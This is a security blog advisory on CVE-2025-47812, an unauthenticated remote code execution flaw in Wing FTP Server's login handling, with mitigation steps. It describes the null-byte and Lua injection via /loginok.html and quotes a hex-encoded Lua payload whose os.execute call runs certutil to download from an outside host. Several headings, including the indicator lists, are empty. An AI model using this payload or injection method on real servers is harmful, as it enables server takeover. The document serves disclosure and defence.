Site icon TheCyberThrone

CVE-2025-47812 Wing FTP Server RCE Vulnerability

Advertisements

Summary

Vulnerability Details

CVE-2025-47812 is a vulnerability in the login handling mechanism of Wing FTP Server that allows unauthenticated attackers to execute arbitrary system commands on the server. It exploits a null byte injection flaw combined with Lua code injection, leading to deserialization-based RCE.

Exploit Mechanics

  1. Null Byte Injection:
    • The attacker sends a specially crafted POST request to /loginok.html.
    • The username field contains a null byte (%00), which tricks the server into saving malicious Lua code in a session file.
  2. Lua Code Execution:
    • The injected Lua payload is stored in a .lua session file under session/.
    • When the session is later deserialized by the server, the Lua code is executed with root or SYSTEM privileges.
  3. Typical Payload:
    • A hex-encoded command wrapper using a Lua hx() function: function hx(hex) local str = ''; for i = 1, #hex-1, 2 do str = str .. string.char(tonumber(hex:sub(i, i+1), 16)); end; return str; end os.execute(hx("636572747574696c202d75726c6361636865202d6620687474703a2f2f..."))

Real-World Attacks (Confirmed)

Indicators of Compromise (IOCs)

📂 Suspicious Files:

📄 Log Entries:

🌐 Malicious IPs:

🧬 Malware Observed:

Mitigation and Response

✅ Immediate Actions

Update Software:

Upgrade Wing FTP Server to version 7.4.4 or later to patch the vulnerability.

Download from: https://www.wftpserver.com/download.htm

Disable Anonymous FTP Access:

Prevent unauthenticated users from logging in, especially if not required for business operations.

Restrict Network Exposure:

Remove public access to the admin and login interfaces.

Place the server behind a firewall, VPN, or an internal-only VLAN.

Summary

References

Exit mobile version